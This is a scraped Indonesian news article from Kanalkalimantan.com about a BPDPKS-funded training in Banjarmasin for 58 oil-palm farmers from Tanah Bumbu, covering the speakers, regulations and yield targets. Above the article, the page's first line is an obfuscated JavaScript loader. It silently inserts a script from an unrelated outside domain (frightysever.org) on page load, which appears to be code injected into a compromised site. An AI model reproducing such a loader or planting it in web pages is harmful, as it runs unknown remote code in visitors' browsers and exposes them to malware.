(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Tanah Bumbu

BPDPKS Pelatihan Pengembangan SDM 58 Pekebun Sawit dari Tanbu


KANALKALIMANTAN.COM, BATULICINDinas Ketahanan Pangan dan Pertanian (DKPP) Kabupaten Tanah Bumbu (Tanbu) mengikuti kegiatan pelatihan pengembangan SDM perkebunan kelapa sawit Angkatan 3 dan Angkatan 4 di Banjarmasin, Senin (22/8/2022).

Direktur Utama PT Sumberdaya Indonesia Berjaya (SIB), Andi Yusuf Akbar mengatakan, kegiatan ini merupakan rangkaian peningkatan sumber daya manusia dari program BPDPKS (Badan Pengelola Dana Perkebunan Kelapa Sawit).

“BPDPKS melaksanakan kegiatan ini dengan menugaskan pihak kami, selaku lembaga pelatihan untuk menyelenggarakannya di Kalimantan Selatan,” ujarnya.

Penyelenggara kegiatan melalui BPDPKS dan Direktorat Jenderal Perkebunan Kementerian Pertanian Republik Indonesia bekerjasama dengan PT Sumberdaya Indonesia Berjaya (SIB).

 

Baca juga  : Sekretariat DPRD Kapuas Terima Kunker Anggota DPRD HSU

Sebelumnya, DKPP Tanbu melaksanakan kegiatan sosialisasi terkait bantuan BPDPKS seperti Peremajaan Sawit Rakyat (PSR) dan pembinaan Sumber Daya Manusia (SDM). Sebagai tindak lanjut dari kegiatan sebelumnya, yaitu implementasi pengembangan SDM petani sawit, digelar pelatihan dari 22 hingga 27 Agustus 2022.

Sekadar diketahui, petani di Tanah Bumbu mendapatkan kuota sebanyak 210 peserta untuk belajar terkait teknik budidaya perkebunan kelapa sawit, ISPO dan kelembagaan pekebun.

Masih terkait SDM, selain itu juga disediakan bantuan Beasiswa Kuliah jenjang D1, D2, D3, hingga S1 kepada anak-anak petani sawit yang dibiayai melalui dana dari BPDPKS.

Kepala DKPP Tanah Bumbu H Hairuddin, melalui Kepala Bidang Perkebunan (Bidbun) DKPP Tanbu, Agus Dwi Wahyono mengatakan, dari berbagai program BPDPKS yang telah dipaparkan sebelumnya, DKPP berharap para petani di Tanah Bumbu, dapat memanfaatkan momen ini secara maksimal demi keberlangsungan dan kemaslahatan para petani sawit.

 

Baca juga  : Stikes Intan Martapura Wisuda Angkatan III 53 Mahasiwa DIII Keperawatan

Pemateri kegiatan berjumlah 4 orang yaitu Dr Ir Hariyadi, Ir Hermanu Wijaya, Dr Ir Ruly Anwar dan Ir Sofyan Zaman.

Sebanyak 58 petani sawit dari Kabupaten Tanah Bumbu sebagai peserta pelatihan teknis budidaya kelapa sawit dan pengembangan SDM perkebunan kelapa sawit di Provinsi Kalimantan Selatan.

Pembelajaran materi, salah satunya disampaikan Dr Ir Hariyadi dari Institute Pertanian Bogor, dengan tujuan pemberian materi sebagai peningkatan pemahaman regulasi dan kebijakan perkebunan bagi petani sawit.

Dasar Regulasi melingkupi, Peraturan Presiden Nomor 44 Tahun 2020 Tentang Sistem Sertifikasi Perkebunan Kelapa Sawit Berkelanjutan Indonesia. Dan diantaranya mencakup, Peraturan Menteri Pertanian RI Nomor 131/Permentan/OT.140/12/2013 Tentang Pedoman Budidaya Kelapa Sawit Yang Baik. Beserta itu diterangkan dalam, Peraturan Menteri Pertanian Nomor:14 /Permentan/PL.110/2/2009 Tentang Pedoman Pemanfaatan Lahan Gambut Untuk Budidaya Kelapa Sawit.

 

Baca juga  : Tim Kemenkes ke RSD Idaman Banjarbaru Penguatan Penerapan K3 

Kepala Dinas Perkebunan dan Peternakan Kalsel Hj Suparmi menyampaikan, pihaknya merasa bersemangat dalam melaksanakan kegiatan maupun program yang menyentuh perkebunan.

“Kami dari Pemerintah Provinsi Kalimantan Selatan akan selalu mensupport kegiatan ini, kita sebagai warga Banua yang terpilih mengikuti kegiatan, karena tidak semua kabupaten terpilih untuk mengikuti pelatihan ini, oleh karena itu kami berharap jangan sia-siakan waktu dan kesempatan kali ini,” ujarnya.

Pelatihan teknis pekebun diberikan, agar pekebun bisa melakukan budidaya kelapa sawit yang baik sehingga produktivitas mengalami peningkatan. Apalagi jika proses telah sesuai dari dilakukannya perbenihan sawit, sampai manajemen pemeliharaan, hingga menghasilkan buah yang dilakukan melalui tehnik budidaya tanaman kelapa sawit dengan standar GAP (Good Agricultural Practices).

Informasi terkini penghasilan kelapa sawit rakyat, rata-tara ideal pada angka 20-25 ton perhektare pertahun, lebih meningkat jika implementasi peremajaan sawit rakyat dengan benih yang unggul bersertifikat bisa mencapai 36 ton perhektare pertahun. Maka dari itu penting diberikannya pemahaman kepada para pekebun kelapa sawit.

Kegiatan ini merupakan Recount Text tahun 2021 yang dilaksanakan di tahun 2022, dengan sasaran target pekebun kelapa sawit yaitu 420 orang. Daerah wilayah pekebun sawit yang baru mendapat alokasi dana BPDPKS tahun 2021 untuk Program Peningkatan Sumber Daya Manusia Kelapa Sawit (PSDMKS) yaitu Kabupaten Tanah Bumbu dan Kabupaten Kota Baru. Sedangkan untuk tahun 2022, dicanangkan pekebun akan mengikuti pelatihan teknis kembali yaitu dari Kabupaten Tanah Bumbu dan Kabupaten Tanah Laut. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : kk


Desy Arfianty

Recent Posts

Puncak Libur Nataru di Bandara Syamsudin Noor Diprediksi 22-23 Desember, Weekend Mencapai 5.700 Penumpang

KANALKALIMANTAN.COM, BANJARBARU - Jumlah penumpang yang menjajaki area terminal keberangkatan Bandara Syamsudin Noor mulai meningkat… Read More

10 jam ago

Pegawai Pegadaian di Banjarmasin Jadi Terdakwa Korupsi, Ini Modusnya

KANALKALIMANTAN.COM, BANJARMASIN - Kasus korupsi menyeret seorang pegawai BUMN PT Pegadaian di Banjarmasin Provinsi Kalimantan… Read More

12 jam ago

BLK Balangan Gelar Pelatihan Berbasis Kompetensi

KANALKALIMANTAN.COM, PARINGIN - Dinas Koperasi, Usaha Kecil dan Menengah, dan Tenaga Kerja (DKUKMTK) Kabupaten Balangan… Read More

16 jam ago

Kanit Reskrim di Paser Tak Bernyawa Dipukul Warga, Ini Kronologinya

KANALKALIMANTAN.COM, TANA PASER - Kanit Reskrim Polsek Batu Sopang Aipda Kiswanto terkapar dihajar oleh seorang… Read More

17 jam ago

KPK Limpahkan Korupsi Proyek PUPR Kalsel ke PN Banjarmasin

Sidang Perdana Dua Terdakwa Digelar 2 Januari 2025 Read More

18 jam ago

Wangi Wadai Apam Barabai Merambah Ibu Kota

KANALKALIMANTAN.COM, BANJARBARU - Keberadaan wadai apam Barabai di Ibu Kota Provinsi Kalimantan Selatan (Kalsel) masih… Read More

18 jam ago

This website uses cookies.